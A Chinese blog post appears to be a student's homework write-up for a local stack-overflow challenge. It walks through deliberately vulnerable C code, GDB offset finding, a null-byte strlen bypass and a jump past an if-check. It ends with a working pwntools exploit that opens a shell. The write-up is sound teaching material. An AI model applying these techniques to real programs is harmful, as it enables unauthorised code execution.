【二进制安全作业】250616课上作业2 - 栈溢出漏洞利用

发布于:2025-06-22 ⋅ 阅读:(13) ⋅ 点赞:(0)


前言

直接进入正题


一、使用环境

处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git


二、程序源码

1. C语言源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  int allow = 0;
  if (allow) {
    execve("/bin/sh", 0, 0);
  }
  else {
    puts("Oh no~~~!");
    exit(0);
  }
}

int main()
{
  char buf[16];
  puts("This is your second bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  if (strlen(buf) >= 16) {
    puts("Bye bye~~");
    exit(0);
  }
  return 0;
}

2. 编译方式

gcc bof2.c -fno-stack-protector -no-pie -o bof2

三、源码分析

从源码可以看到,和上一篇相比区别不大,只是在 24 行和 9 行加了两个验证,所以这一篇的核心就是怎么绕过这两个验证。


四、反汇编分析

1. 检查文件安全性

养成习惯:
在这里插入图片描述
和上一篇比没有变化,不再多说。

2. 查找目标函数

在这里插入图片描述
函数地址在 0x400697

3. 计算偏移量

通过源码可以知道,这个程序存在着 strlen 对输入字符串长度的验证,当字符串长度超过16时,程序会结束,所以没办法通过输入超长字符串的方式来测试偏移量的位置,这里我就用我的老方法来计算了。

把断点打在输入字符串的下一行:
在这里插入图片描述
执行程序并输入字符串,然后查看栈:
在这里插入图片描述
输入字符串的位置在 0x7fffffffe050 ,栈底在 0x7fffffffe060,所以跳转的地址在 0x7fffffffe068。偏移量为 0x18 ,和上一道题一样。

4. 绕过 strlen

先来看一看反汇编:
在这里插入图片描述
虽然这里就算不懂汇编也可以轻松绕过,但还是简单讲一下汇编。

可以看到在 +52 处调用了 read ,在 +64 处调用了 strlen,+69 处在用 0xf 和 rax 进行比较(cmp是compare,比较指令),0xf 是 16,所以很容易判断这里是在进行字符串长度和 16 的比较,也就可以判断出 strlen 的返回值是保存在 rax 中的。

再下一条的 jbe(jump if below or equal) 表示的是小于等于则跳转,跳转到 main+97 ,才能执行到 leave 和 ret ,达成我们利用 ret 跳转到指定地址的目的。如果此处不跳转,则会执行一条 puts 的输出,然后执行 exit 退出程序。

strlen 汇编的执行逻辑就不看了,学过C应该知道,这个函数的作用是计算字符串的长度,而字符串是以 \0 结尾的,也就是说 strlen 计算字符串的长度,只会计算到 \0 ,我们可以利用这个特性来绕过 strlen 对字符串长度的检测。

先来测试一下:

在 main+57 处打断点,然后执行程序,输入计算偏移量的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

此时程序停在这个位置:
在这里插入图片描述
栈里是这个样子:
在这里插入图片描述
我们知道字符串就是从 rsp 的位置开始的,所以直接修改字符串的第一个字符:

set {char}$rsp = '\x00'

修改后:
在这里插入图片描述
我们再在 ret 处打个断点,然后执行:
在这里插入图片描述
可见此时虽然我们输出的字符串长度是100,但是程序仍然执行到 ret 了,并没有退出,此时已经绕过成功了。

5. 绕过 if

先看一眼目标函数的反汇编:
在这里插入图片描述
阅读汇编代码可以发现,是因为执行了 +19 处 je(jump if equal) 的跳转,程序才调用了 puts 和 exit ,所以最简单的思路就是,不要让它跳,我们既然可以通过地址跳转来执行函数,自然也可以通过地址跳转直接进入到函数内的某一行,函数的开始地址在 0x400697 ,但是我们可以直接从 0x4006ac 进入函数,来绕过它的判断。

所以此时我们的目标地址是 0x4006ac

五、编写EXP

理解了绕过原理就可以知道,其实和上一道题是大差不差的,我们直接把上一道题的 exp 拿过来修改一下:

from pwn import *

context.arch = "amd64"
context.os = "linux"

def exp():
    offset = 24
    func_addr = 0x4006ac
    exp = b'\x00' + b'A' * (offset - 1) + p64(func_addr)

    with process('./bof2') as p:
        p.sendlineafter(b')', exp)
        p.interactive()

if __name__ == '__main__':
    exp()

只修改了 func_addr 和 exp 的第一个字节。还有程序名。

执行:
在这里插入图片描述
成功。


结语

感谢关注评论点赞收藏。

还有两篇,但难度要大很多,今天写一部分,未必能写完了,争取明天全肝出来。